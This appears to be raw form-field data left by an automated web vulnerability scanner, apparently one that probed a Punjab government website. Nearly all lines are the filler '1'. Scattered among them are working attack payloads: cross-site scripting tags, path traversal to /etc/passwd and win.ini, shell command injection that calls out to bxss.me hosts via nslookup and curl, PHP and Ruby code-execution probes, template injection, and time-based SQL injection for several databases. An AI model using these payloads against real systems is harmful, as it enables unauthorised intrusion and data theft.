1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
"+"A".concat(70-3).concat(22*4).concat(117).concat(85).concat(99).concat(75)+(require"socket" Socket.gethostbyname("hitsv"+"jicnjpufa872f.bxss.me.")[3].to_s)+"
1
bxss.me/t/xss.html?%00
1
1
'+'A'.concat(70-3).concat(22*4).concat(100).concat(74).concat(113).concat(78)+(require'socket' Socket.gethostbyname('hiteu'+'oqfelbqw131c0.bxss.me.')[3].to_s)+'
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(121).concat(70).concat(112).concat(79)+(require'socket' Socket.gethostbyname('hitln'+'nujiwdkdaeaaa.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
create
1
1
1
1
create
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >0Jri(9526)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >0Jri(9361)</ScRiPt>
1
1
1
1
1
19397433
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9434816*9192217)
1
'+response.write(9434816*9192217)+'
1
"+response.write(9434816*9192217)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
jZzlchLX
1
L9oN166j: MEueqslk
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
1
<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
../../../../../../../../../../../../../../windows/win.ini
1
1
file:///etc/passwd
1
1
1
1
1
../../../../../../../../../../../../../../../proc/version
1
1
${9999986+9999285}
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
1
1
../../../../../../../../../../etc/passwd%00.jpg
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
1
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
1
1
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
1
/etc/passwd
1
1
%2fetc%2fpasswd
1
1
/.././.././.././.././.././.././.././../etc/./passwd%00
1
1
1
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
1
1
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
1
1
../././../././../././../././../././../././../././../././../././../././etc/passwd
1
1
1
1
1
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
1
1
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
1
1
file:///etc/passwd
1
1
1
/\../\../\../\../\../\../\../etc/passwd
1
1
1
/WEB-INF/web.xml
&n925773=v979024
1
WEB-INF/web.xml
1
WEB-INF\web.xml
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
!(()&&!|*|*|
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo ldmdfx$()\ xfknts\nz^xyu||a #' &echo ldmdfx$()\ xfknts\nz^xyu||a #|" &echo ldmdfx$()\ xfknts\nz^xyu||a #
1
'"()
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
&echo krkoyb$()\ hbzhil\nz^xyu||a #' &echo krkoyb$()\ hbzhil\nz^xyu||a #|" &echo krkoyb$()\ hbzhil\nz^xyu||a #
1
'&&sleep(27*1000)*zbgzau&&'
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
|echo cnagtj$()\ lwbswh\nz^xyu||a #' |echo cnagtj$()\ lwbswh\nz^xyu||a #|" |echo cnagtj$()\ lwbswh\nz^xyu||a #
1
"&&sleep(27*1000)*xqaixs&&"
(nslookup -q=cname hitloiabaauvg5b3e1.bxss.me||curl hitloiabaauvg5b3e1.bxss.me))
Http://bxss.me/t/fit.txt
'||sleep(27*1000)*qhjvzr||'
1
$(nslookup -q=cname hittsiwqufgkwe3dd0.bxss.me||curl hittsiwqufgkwe3dd0.bxss.me)
1
"||sleep(27*1000)*iynagk||"
&nslookup -q=cname hitkdctphdhcr06da5.bxss.me&'\"`0&nslookup -q=cname hitkdctphdhcr06da5.bxss.me&`'
1
HttP://bxss.me/t/xss.html?%00
&(nslookup -q=cname hitrewnugyszf6b386.bxss.me||curl hitrewnugyszf6b386.bxss.me)&'\"`0&(nslookup -q=cname hitrewnugyszf6b386.bxss.me||curl hitrewnugyszf6b386.bxss.me)&`'
1
https://dpmis.punjab.gov.pk/
bxss.me/t/xss.html?%00
|(nslookup -q=cname hitjvopjfdgjq5898f.bxss.me||curl hitjvopjfdgjq5898f.bxss.me)
1
https://redirtest.acx/
1
`(nslookup -q=cname hitplirpyxryi7da04.bxss.me||curl hitplirpyxryi7da04.bxss.me)`
1
http://bxss.me/t/fit.txt%3F.jpg
dpmis.punjab.gov.pk
;(nslookup -q=cname hitbaystghoof38944.bxss.me||curl hitbaystghoof38944.bxss.me)|(nslookup -q=cname hitbaystghoof38944.bxss.me||curl hitbaystghoof38944.bxss.me)&(nslookup -q=cname hitbaystghoof38944.b
/etc/shells
1
'.gethostbyname(lc('hitas'.'egsgnyoeb2f97.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(73).chr(99).chr(70).'
|(nslookup${IFS}-q${IFS}cname${IFS}hitcbpazmhghbb3a11.bxss.me||curl${IFS}hitcbpazmhghbb3a11.bxss.me)
../../../../../../../../../../../../../../etc/shells
redirtest.acx
".gethostbyname(lc("hithe"."yaegugtg61a94.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(72).chr(101).chr(72)."
1
gethostbyname(lc('hitmd'.'wlpeuiij9bf77.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(67).chr(99).chr(83)
c:/windows/win.ini
&(nslookup${IFS}-q${IFS}cname${IFS}hiterqqfeuoar6f798.bxss.me||curl${IFS}hiterqqfeuoar6f798.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiterqqfeuoar6f798.bxss.me||curl${IFS}hiterqqfeuoar6f798.bx
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(112).concat(82).concat(112).concat(83)+(require"socket" Socket.gethostbyname("hitfb"+"fvzprorq6c4f6.bxss.me.")[3].to_s)+"
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'+'A'.concat(70-3).concat(22*4).concat(109).concat(89).concat(110).concat(84)+(require'socket' Socket.gethostbyname('hitrs'+'cbgyxzem52394.bxss.me.')[3].to_s)+'
1
1
1
'A'.concat(70-3).concat(22*4).concat(104).concat(87).concat(112).concat(86)+(require'socket' Socket.gethostbyname('hitnr'+'zxmsuert315d3.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9251151*9195678)
1
'+response.write(9251151*9195678)+'
kCNb3kXl
"+response.write(9251151*9195678)+"
nQ06qBxo: 6wSKshMs
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
file:///etc/passwd
1
1
1
1
1
1
1
../1
1
1
1
1
echo qizvnc$()\ tbotoc\nz^xyu||a #' &echo qizvnc$()\ tbotoc\nz^xyu||a #|" &echo qizvnc$()\ tbotoc\nz^xyu||a #
1
1
1
1
&echo ocueoh$()\ xybsdq\nz^xyu||a #' &echo ocueoh$()\ xybsdq\nz^xyu||a #|" &echo ocueoh$()\ xybsdq\nz^xyu||a #
1
1
1
1&echo jyxmng$()\ jybney\nz^xyu||a #' &echo jyxmng$()\ jybney\nz^xyu||a #|" &echo jyxmng$()\ jybney\nz^xyu||a #
1
1
1
|echo osgvuh$()\ tmcdha\nz^xyu||a #' |echo osgvuh$()\ tmcdha\nz^xyu||a #|" |echo osgvuh$()\ tmcdha\nz^xyu||a #
1
1
1
1
1|echo vtslxo$()\ nphfau\nz^xyu||a #' |echo vtslxo$()\ nphfau\nz^xyu||a #|" |echo vtslxo$()\ nphfau\nz^xyu||a #
1
1
1
1
(nslookup -q=cname hithzfmngjfbw60072.bxss.me||curl hithzfmngjfbw60072.bxss.me))
1
1
1
$(nslookup -q=cname hitmkoycjnoioc1496.bxss.me||curl hitmkoycjnoioc1496.bxss.me)
1
1
1
&nslookup -q=cname hitummloynyilfbc9a.bxss.me&'\"`0&nslookup -q=cname hitummloynyilfbc9a.bxss.me&`'
1
1
&(nslookup -q=cname hitrqjnazfiyaee5e6.bxss.me||curl hitrqjnazfiyaee5e6.bxss.me)&'\"`0&(nslookup -q=cname hitrqjnazfiyaee5e6.bxss.me||curl hitrqjnazfiyaee5e6.bxss.me)&`'
1
1
|(nslookup -q=cname hityckivoqvpzf0ce6.bxss.me||curl hityckivoqvpzf0ce6.bxss.me)
1
1
1
`(nslookup -q=cname hitlqowqlomrwd2ff6.bxss.me||curl hitlqowqlomrwd2ff6.bxss.me)`
1
1
1
;(nslookup -q=cname hitabsegfhpcvb6e9e.bxss.me||curl hitabsegfhpcvb6e9e.bxss.me)|(nslookup -q=cname hitabsegfhpcvb6e9e.bxss.me||curl hitabsegfhpcvb6e9e.bxss.me)&(nslookup -q=cname hitabsegfhpcvb6e9e.b
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitxhaushpmpzff3c1.bxss.me||curl${IFS}hitxhaushpmpzff3c1.bxss.me)
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitpjtbfbdfdte21fe.bxss.me||curl${IFS}hitpjtbfbdfdte21fe.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpjtbfbdfdte21fe.bxss.me||curl${IFS}hitpjtbfbdfdte21fe.bx
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000463+9999028}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
http://bxss.me/t/fit.txt?.jpg
1&n939373=v938889
1
1
1
1
/etc/shells
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
c:/windows/win.ini
1
1
1
bxss.me
1
1
1
1
1
1
1
1
)
1
1
1
1
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1ZslqobJ8
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+563-563-1=0+0+0+1 --
1
1
-1 OR 2+262-262-1=0+0+0+1
1
1
1
https://dpmis.punjab.gov.pk/
1
1
1
https://redirtest.acx/
-1' OR 2+682-682-1=0+0+0+1 --
1
1
1
dpmis.punjab.gov.pk
'.gethostbyname(lc('hitwq'.'tbklfsvjda86b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(74).chr(115).chr(73).'
1
1
1
-1' OR 2+421-421-1=0+0+0+1 or '0V86L58Y'='
redirtest.acx
1
1
-1" OR 2+334-334-1=0+0+0+1 --
".gethostbyname(lc("hitou"."fczbqmaa7108e.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(85).chr(102).chr(87)."
1
1
1
gethostbyname(lc('hitpz'.'yoqnwzww0c9a5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(77).chr(112).chr(67)
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
'"()
1-1); waitfor delay '0:0:15' --
1
bxss.me/t/xss.html?%00
1
1
1'&&sleep(27*1000)*kxtjgg&&'
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1"&&sleep(27*1000)*ziwlfd&&"
1
1-1 waitfor delay '0:0:15' --
';print(md5(31337));$a='
1
1
1'||sleep(27*1000)*kjkmda||'
1
1
1
1
1
1efz30V1X'; waitfor delay '0:0:15' --
1
1"||sleep(27*1000)*pcvodk||"
1
";print(md5(31337));$a="
1
1
1
1
1-1 OR 744=(SELECT 744 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
1
1
1
1-1) OR 598=(SELECT 598 FROM PG_SLEEP(15))--
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 902=(SELECT 902 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1PcRjoNTK' OR 527=(SELECT 527 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1sGUGPIVO') OR 764=(SELECT 764 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(98).concat(81).concat(117).concat(85)+(require"socket" Socket.gethostbyname("hitea"+"ydnqgodp378ac.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
16or2msd5')) OR 121=(SELECT 121 FROM PG_SLEEP(15))--
1
'+'A'.concat(70-3).concat(22*4).concat(110).concat(80).concat(118).concat(77)+(require'socket' Socket.gethostbyname('hitve'+'qxesicpe1bb8f.bxss.me.')[3].to_s)+'
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(107).concat(80).concat(100).concat(89)+(require'socket' Socket.gethostbyname('hitqz'+'humfvbaj320a3.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
create
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@wY23C
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >Xohj(9858)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >Xohj(9324)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
19200126
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-1 OR 2+372-372-1=0+0+0+1 --
10vITpDf8' OR 757=(SELECT 757 FROM PG_SLEEP(15))--
-1 OR 3+372-372-1=0+0+0+1 --
1
1
other
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12olnZx9R
1zDpY6Ap7
1R8Sgh8FH
1E4ObhPV8
1suHdzpvn
1
-1 OR 2+67-67-1=0+0+0+1 --
-1 OR 2+432-432-1=0+0+0+1
1
-1' OR 2+265-265-1=0+0+0+1 --
1
-1 OR 2+648-648-1=0+0+0+1 --
-1' OR 2+578-578-1=0+0+0+1 or 'HbTH7iMN'='
1
-1 OR 2+148-148-1=0+0+0+1 --
-1 OR 2+57-57-1=0+0+0+1
-1" OR 2+328-328-1=0+0+0+1 --
-1 OR 2+267-267-1=0+0+0+1
-1 OR 2+497-497-1=0+0+0+1 --
-1' OR 2+302-302-1=0+0+0+1 --
-1' OR 2+783-783-1=0+0+0+1 --
-1 OR 2+696-696-1=0+0+0+1
-1' OR 2+612-612-1=0+0+0+1 or 'yLqqnLFg'='
-1' OR 2+811-811-1=0+0+0+1 or '4YjgpuNF'='
-1' OR 2+653-653-1=0+0+0+1 --
-1" OR 2+282-282-1=0+0+0+1 --
-1" OR 2+19-19-1=0+0+0+1 --
-1' OR 2+712-712-1=0+0+0+1 or 'JhlxGafP'='
-1" OR 2+829-829-1=0+0+0+1 --
1
-1 OR 2+926-926-1=0+0+0+1 --
-1 OR 2+493-493-1=0+0+0+1
-1' OR 2+291-291-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
-1' OR 2+573-573-1=0+0+0+1 or 'c7O5JLYg'='
-1" OR 2+581-581-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1j64S0IIp'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1SuFApQSJ'; waitfor delay '0:0:15' --
1LHRSha97'; waitfor delay '0:0:15' --
1IwPKWK6Q'; waitfor delay '0:0:15' --
1-1 OR 733=(SELECT 733 FROM PG_SLEEP(15))--
19e6F2akg'; waitfor delay '0:0:15' --
1-1 OR 106=(SELECT 106 FROM PG_SLEEP(15))--
1-1 OR 39=(SELECT 39 FROM PG_SLEEP(15))--
1-1 OR 670=(SELECT 670 FROM PG_SLEEP(15))--
1-1) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
1-1 OR 357=(SELECT 357 FROM PG_SLEEP(15))--
1-1) OR 515=(SELECT 515 FROM PG_SLEEP(15))--
1-1) OR 10=(SELECT 10 FROM PG_SLEEP(15))--
1-1) OR 412=(SELECT 412 FROM PG_SLEEP(15))--
1-1)) OR 860=(SELECT 860 FROM PG_SLEEP(15))--
1-1) OR 652=(SELECT 652 FROM PG_SLEEP(15))--
1-1)) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
1-1)) OR 224=(SELECT 224 FROM PG_SLEEP(15))--
1-1)) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
11ZTnz0Lb' OR 861=(SELECT 861 FROM PG_SLEEP(15))--
1-1)) OR 281=(SELECT 281 FROM PG_SLEEP(15))--
17kvCuQDY' OR 278=(SELECT 278 FROM PG_SLEEP(15))--
1xzRbmqUA' OR 683=(SELECT 683 FROM PG_SLEEP(15))--
1S3SoNKJl' OR 369=(SELECT 369 FROM PG_SLEEP(15))--
1CFH6ibim') OR 829=(SELECT 829 FROM PG_SLEEP(15))--
1LzjkxXbh' OR 605=(SELECT 605 FROM PG_SLEEP(15))--
1QZLiS33i') OR 57=(SELECT 57 FROM PG_SLEEP(15))--
1WdbEALHO') OR 516=(SELECT 516 FROM PG_SLEEP(15))--
1qG0PM1P8') OR 577=(SELECT 577 FROM PG_SLEEP(15))--
1BcJ8ByLn')) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
1qOCWchZh') OR 986=(SELECT 986 FROM PG_SLEEP(15))--
1NEO6nURM')) OR 587=(SELECT 587 FROM PG_SLEEP(15))--
1MKDRK5gp')) OR 571=(SELECT 571 FROM PG_SLEEP(15))--
16GVtctzm')) OR 188=(SELECT 188 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1z9MQ0V1u')) OR 510=(SELECT 510 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'"
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
@@HyVzt
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
1
1
1'"
@@Wwb0J
@@LLmWk
1
@@CWYJU
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
1
@@CcFgZ
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1CfHVxZDV
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
